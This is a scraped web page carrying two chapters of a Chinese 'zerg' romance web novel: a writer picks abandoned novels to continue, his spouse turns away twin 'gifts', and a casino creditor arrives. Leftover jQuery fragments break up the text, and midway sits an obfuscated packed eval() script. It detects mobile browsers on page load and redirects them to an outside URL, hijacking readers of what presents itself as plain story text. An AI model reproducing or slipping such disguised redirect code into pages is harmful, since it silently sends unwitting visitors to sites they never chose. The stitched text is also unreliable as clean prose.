$(''.inform'').remove(); $(''#content'').append('' 亲口告诉003的计划。 可是在刚才那个瞬间,他的心中连一秒钟都没有出现过这个计划。 他只是单纯的想要送荣魇一点什么,来表达他的…… 他的……他的什么呢? 愧疚之情? 朗焰总觉得哪里不对,但一时半会儿也想不出来到底是哪里不对。 他翻了个身,仰躺在床上。 他的大脑小小地放空了一会儿,很快又开始自动浮现荣魇的脸。 雪一样的长发,蔚蓝的眸子,还有那柔软的、温热的皮肤…… 朗焰一下子从床上翻坐起来,点开了刚刚才关上的手环。 他自己也觉得自己的行为就像是个多动症患者似的,但他就是控制不住自己的动作,也控制不住自己的心。 他打开编辑昨天给他发的文件,强迫自己看了起来。 编辑的建议其实很有道理,即使编辑不说,朗焰自己也存着在《日记》之外再开一本书的想法。 续写这个事在更新量上不能进展太快,每一步都得根据读者的反应和编辑的反馈来做后续调整。 对于现在的朗焰而言,他每天也没别的事要做,完全有时间再写一本到两本烂尾文,赚双倍甚至三倍的钱。 这一回还和上一次不同,上一次朗焰没得选,编辑给他什么他就写什么,写火了才发现到处都是坑,尤其还摊上一个随时可能暴雷的雄虫原作者。 在有的选的情况下,朗焰就得细细挑选自己接下来的几本烂尾文了。 不少文在合同里就确认了一旦烂尾版权归属网站的条款,还有一些是作者主动将烂尾文的版权卖给网站,任由网站处置,最特别的一种,则是版权依然被原作者捏在手中,只有在找到了靠谱的续写作者后,原作者才愿意将版权交到续写作者手中。 朗焰不想重蹈《日记》的覆辙,所以他会优先考虑网站已有版权的网文。 他觉得编辑给了他那么多选择,他从中选出一两本合适的烂尾文应该很容易。 然而,当朗焰真的开始看文后,他才发现自己在做的事,甚至都不叫大海捞针,而是—— 屎里淘金。 什么雄虫抛妻糟糠之妻,另寻他爱,美其名曰追求更好的生活? 什么外面彩旗飘飘,家里红旗不倒? 什么雄虫甚至还害得雌虫坐了几年牢? 这这这……这都是什么玩意啊! 27.跟着我真是委屈你了 由于朗焰一时半会儿的实在是无法接受这些烂尾文的原著部分,所以他暂时搁置了双开的事,专心致志地写他穿越后的第一本烂尾文。 日子在他勤奋的日更中一天天过去,很快,《日记》走完了上架后的三个榜单,以一骑绝尘的成绩下了榜。 朗焰的后台收益已经高到了一个可怕的数字,于此同时,他的文下终于开始大量出现恶评以外的评论。 催更的、按爪的、撒花的,这些简简单单的评论却看得朗焰泪眼汪汪,颇有一种熬出头了的感觉。 又过了几天,顶着【月火】粉丝牌的读者ID开始出现,这些读者不仅不会骂他写的文,甚至还会在他被新读者骂的时候帮他说话。 终于,朗焰熬到了书虫网的提现打款日。 一大清早,朗焰就按下了提现按钮,他也不在乎分批提现减税的政策,第一笔稿费没有必要考虑那么多,肯定是要全部取出来过把瘾的。 朗焰逛了一会儿作家论坛,得知大概的打款时间一般在当天中午十二点前,便开始满心期待地等待着十二点的到来。 然而,时间刚到十一点,他家门铃就被按响了。 今天是周五,荣魇不上班。 警卫军团特殊的工作性质注定了军团里需要全年都有虫值守,所以军团采用的是轮班制,不像是一般工作那样有统一的工作日和双休日。 如果不出现什么意外的话,荣魇一直都是周五和周六不上班。 正好在家的荣魇听见铃声就走去开门,他踩着一双软绵绵的拖鞋,身上穿着雄主非要他穿的毛绒绒的睡衣,打开大门后,他看见了一对衣衫单薄、在寒风中冻得瑟瑟发抖的双胞胎。 双胞胎道:“我们,我们找朗焰阁下。” 荣魇捏着门把手的手猛得一顿。 下一秒,咔嚓一声脆响。 ——门把手被荣魇卸了下来。 双胞胎惊得目瞪口呆的同时,抖得更厉害了。 “怎么了?” 听见动静的朗焰从客厅里走了过来。 荣魇低着头退到一边:“对不起雄主,我……对不起。” 朗焰看了一眼他手里的把手,困惑道:“我们这房子当初怎么装修的,大门把手都能掉?这也太豆腐渣了吧,施工队到底贪了多少啊?” 见到了朗焰,双胞胎眼前一亮,说话的声音顿时有力了起来: “尊贵的阁下,我们是、是诺茨团长让我们来的……” 朗焰看了两只长得一模一样的双胞胎亚雌一眼,问道:“你们找谁?” “我们找您,尊贵的阁下。” “找我?” 朗焰看了荣魇一眼,见荣魇低着头也不说话,又把视线挪了回来:“找我干什么?” 双胞胎见朗焰一点印象都没有,顿时急了:“我们是、是您要的紫尾蝶!” “哦,我想起来了,是有这事,紫尾蝶是吧,你们是来给我送紫尾蝶的?” 朗焰上上下下地看了他们一眼:“紫尾蝶呢,紫尾蝶在哪?不是我说,你们连个笼子都不带,送空气给我呢?” 双胞胎:“!?” 双胞胎:“您在说什么,我们就是……” “不好意思,看来雄主并不想收你们,请回吧。” 荣魇冷冷的声音打断了双胞胎的话。 他挤进朗焰和双胞胎之间,轻松把双胞胎推出门外,随后砰的一声关上大门,丝毫不给双胞胎解释的时间。 没有门把手的大门关上以后都不一定还能打开,但是荣魇无所谓。 这种小事根本就不叫事,大不了他把门整个卸下来,再装一个新的上去。 双胞胎:“???” 雄虫愤怒的声音即便隔着一扇厚重的大门,也有一些余音传到他们耳中。 “虽然你说的很对,你们这个煞笔团长的礼物我确实也不想要,但是一码归一码,我不要是我的事,他们送个空气给我他们就没错吗?你们军团的怎么都是些神经病啊?你在这军团真的能待下去吗? 双胞胎:“……” 屋里,荣魇好声好气地安慰着自家雄主。 对比火冒三丈的雄主,他的心情却好到了极点。 朗焰正生气呢,回头一看,荣魇却笑得那么灿烂,顿时心里不平衡了,伸手去掐荣魇的脸颊。 软软的脸颊很好捏,仿佛是一团有温度的雪。 “笑笑笑,一天到晚就知道傻笑,被欺负了也不知道。” 荣魇被掐着脸,含糊不清地说道:“我没有被欺负,雄主……” 朗焰怒道:“傻子当然不知道自己被欺负了!” 荣魇:“……” 默默地把门把手收进睡衣兜兜里。 雄主是疯子,他是傻子,听上去居然还挺般配的…… 朗焰气鼓鼓地走回客厅,嘴里不断嚷嚷着要让荣魇换一个军团工作。 荣魇无奈地说道:“雄主,军团没有那么好换,我从以前开始就一直待在第三军团,其他两个军团根本就不会看我一眼……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037742|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗焰强调道:“我也不是说你们那个军团不好,主要是你们那个团长,在这种团长手底下干活,你不觉得恶心吗?” 荣魇道:“诺茨团长从来不来找我,我在后勤处做文职,和他几乎没有交集,而且军部最近在调整结构,诺茨团长说不定过几天就调走了。” 他回军团也一个多月了,期间他一次诺茨的面都没见着。 就算诺茨真的想不开来找他麻烦,他也不怕诺茨,军团的军衔和职位是并行制,虽说他目前的职位低于诺茨,但他的上将军衔可还是在的,应该是诺茨怕他才是。 再者,他确实听见了诺茨要被调走的风声,这件事在军团上上下下都传遍了。 “唉,行吧,你要是觉得还行,那我也不说什么了。” 朗焰叹了口气:“也是怪我没本事,不能在你的工作调动上起到作用,只能委屈你了。” 荣魇:“……” 明明他都已经反复强调自己没有被欺负了,但雄主还是坚定不移地认为他在军团过得很惨。 一定是他的表达方式不对,不能准确得让雄主理解他的意思。 像他这样又笨拙又不会说话的雌虫,要不是碰到了现在的雄主,恐怕早就被厌弃了吧。 朗焰越说越丧气,整个人都陷入了贫贱夫妻百事哀的怨妇状: “跟着我真是苦了你了,你要是当时和我离婚了,现在说不定就……” “您在说什么,您怎么会这么想!?” 震惊之下,荣魇插嘴打断了朗焰的话: “我能有现在的日子,全都是靠您……” 话音未落,一声悠长的“叮咚”响彻客厅。 门铃又响了。 朗焰以为又是那对神经病双胞胎,好不容易消下去的火又上来了。 他三两步走到门口,对着没有把手的门捣鼓了一会儿,硬生生地打开了房门。 “我说你们是不是给脸不要脸啊,非要我说滚蛋才听得懂是吧!” 来客正面迎接了朗焰的一通臭骂,但脸上依然是笑盈盈的: “雄虫阁下,好久不见,我是艾斯罗伦,若是您还记得我,那可真是我的荣幸。” 朗焰怒道:“你谁啊?我根本不认识你!” 艾斯罗伦道:“您真是贵人多忘事,不记得我没关系,但是您在半年前在我们赌场预支了三十万星币的事,不知道您还有没有印象?” 朗焰:“……” 完蛋了,骂错虫了。 是原主的债主找上门来了!